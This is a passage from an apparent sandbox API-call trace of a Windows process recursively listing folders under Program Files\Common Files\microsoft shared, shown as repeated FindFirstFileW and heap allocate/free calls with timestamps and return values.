lpFindFileData=0x347ef68*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe70e, dwReserved1=0xb0f, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0078.936] GetProcessHeap () returned 0x11a0000 [0078.936] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b12760 [0078.937] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0078.971] GetProcessHeap () returned 0x11a0000 [0078.971] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b12760 | out: hHeap=0x11a0000) returned 1 [0078.971] GetProcessHeap () returned 0x11a0000 [0078.971] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b12760 [0078.971] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0078.989] GetProcessHeap () returned 0x11a0000 [0078.989] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0078.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x12941b0 [0079.040] GetProcessHeap () returned 0x11a0000 [0079.040] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.040] GetProcessHeap () returned 0x11a0000 [0079.040] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.040] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.040] GetProcessHeap () returned 0x11a0000 [0079.040] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.040] GetProcessHeap () returned 0x11a0000 [0079.040] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.040] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.040] GetProcessHeap () returned 0x11a0000 [0079.040] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.040] GetProcessHeap () returned 0x11a0000 [0079.040] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.040] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.041] GetProcessHeap () returned 0x11a0000 [0079.041] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.041] GetProcessHeap () returned 0x11a0000 [0079.041] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.041] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294330 [0079.052] GetProcessHeap () returned 0x11a0000 [0079.052] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.052] GetProcessHeap () returned 0x11a0000 [0079.052] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.053] GetProcessHeap () returned 0x11a0000 [0079.053] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.053] GetProcessHeap () returned 0x11a0000 [0079.053] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.053] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.053] GetProcessHeap () returned 0x11a0000 [0079.053] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.053] GetProcessHeap () returned 0x11a0000 [0079.053] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.053] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x12941b0 [0079.055] GetProcessHeap () returned 0x11a0000 [0079.055] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.055] GetProcessHeap () returned 0x11a0000 [0079.055] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.055] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.058] GetProcessHeap () returned 0x11a0000 [0079.058] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.058] GetProcessHeap () returned 0x11a0000 [0079.058] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x12947b0 [0079.058] GetProcessHeap () returned 0x11a0000 [0079.058] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.058] GetProcessHeap () returned 0x11a0000 [0079.058] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294630 [0079.059] GetProcessHeap () returned 0x11a0000 [0079.059] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.059] GetProcessHeap () returned 0x11a0000 [0079.059] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x12947b0 [0079.059] GetProcessHeap () returned 0x11a0000 [0079.059] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.059] GetProcessHeap () returned 0x11a0000 [0079.059] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.062] GetProcessHeap () returned 0x11a0000 [0079.063] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.063] GetProcessHeap () returned 0x11a0000 [0079.063] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294cb0 [0079.063] GetProcessHeap () returned 0x11a0000 [0079.063] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.063] GetProcessHeap () returned 0x11a0000 [0079.063] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.067] GetProcessHeap () returned 0x11a0000 [0079.067] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b777b8 [0079.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294ab0 [0079.068] GetProcessHeap () returned 0x11a0000 [0079.068] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b777b8 | out: hHeap=0x11a0000) returned 1 [0079.068] GetProcessHeap () returned 0x11a0000 [0079.068] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b777b8 [0079.068] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294bf0 [0079.070] GetProcessHeap () returned 0x11a0000 [0079.070] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b777b8 | out: hHeap=0x11a0000) returned 1 [0079.070] GetProcessHeap () returned 0x11a0000 [0079.070] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b777b8 [0079.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x12950b0 [0079.070] GetProcessHeap () returned 0x11a0000 [0079.070] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b777b8 | out: hHeap=0x11a0000) returned 1 [0079.071] GetProcessHeap () returned 0x11a0000 [0079.071] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b777b8 [0079.071] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294db0 [0079.088] GetProcessHeap () returned 0x11a0000 [0079.088] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b777b8 | out: hHeap=0x11a0000) returned 1 [0079.089] GetProcessHeap () returned 0x11a0000 [0079.089] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b777b8 [0079.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294970 [0079.089] GetProcessHeap () returned 0x11a0000 [0079.089] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b777b8 | out: hHeap=0x11a0000) returned 1 [0079.089] GetProcessHeap () returned 0x11a0000 [0079.089] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b777b8 [0079.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294d70 [0079.092] GetProcessHeap () returned 0x11a0000 [0079.092] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b777b8 | out: hHeap=0x11a0000) returned 1 [0079.092] GetProcessHeap () returned 0x11a0000 [0079.092] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b777b8 [0079.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294c30 [0079.093] GetProcessHeap () returned 0x11a0000 [0079.093] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b777b8 | out: hHeap=0x11a0000) returned 1 [0079.093] GetProcessHeap () returned 0x11a0000 [0079.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b777b8 [0079.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294ff0 [0079.093] GetProcessHeap () returned 0x11a0000 [0079.093] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b777b8 | out: hHeap=0x11a0000) returned 1 [0079.093] GetProcessHeap () returned 0x11a0000 [0079.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b777b8 [0079.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294e70 [0079.093] GetProcessHeap () returned 0x11a0000 [0079.093] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b777b8 | out: hHeap=0x11a0000) returned 1 [0079.093] GetProcessHeap () returned 0x11a0000 [0079.093] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b777b8 [0079.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1294bb0 [0079.099] GetProcessHeap () returned 0x11a0000 [0079.099] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b777b8 | out: hHeap=0x11a0000) returned 1 [0079.100] GetProcessHeap () returned 0x11a0000 [0079.100] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.101] GetProcessHeap () returned 0x11a0000 [0079.101] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.102] GetProcessHeap () returned 0x11a0000 